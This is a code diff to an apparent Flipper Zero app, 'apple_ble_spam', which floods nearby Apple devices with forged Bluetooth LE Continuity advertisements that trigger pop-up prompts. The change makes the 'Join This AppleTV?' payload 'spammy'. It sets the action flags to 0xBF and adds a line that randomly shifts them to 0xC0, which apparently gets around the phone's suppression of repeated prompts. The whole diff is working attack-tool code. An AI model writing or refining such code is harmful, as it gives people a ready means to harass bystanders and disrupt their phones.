diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 7a246103b..3b4225f60 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -86,12 +86,12 @@ static Payload payloads[] = { .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, }}, {.title = "Join This AppleTV?", - .text = "Modal, unlocked", + .text = "Modal, unlocked, spammy", .random = false, .msg = { .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x20}}, + .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, }}, {.title = "AppleTV Audio Sync", .text = "Banner, locked, long range", diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 229cd42d6..4796e1e56 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -129,7 +129,9 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { break; case ContinuityTypeNearbyAction: - packet[i++] = msg->data.nearby_action.flags; // Action Flags + packet[i] = msg->data.nearby_action.flags; // Action Flags + if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam + i++; packet[i++] = msg->data.nearby_action.type; packet[i++] = (rand() % 256); // Authentication Tag packet[i++] = (rand() % 256); // ...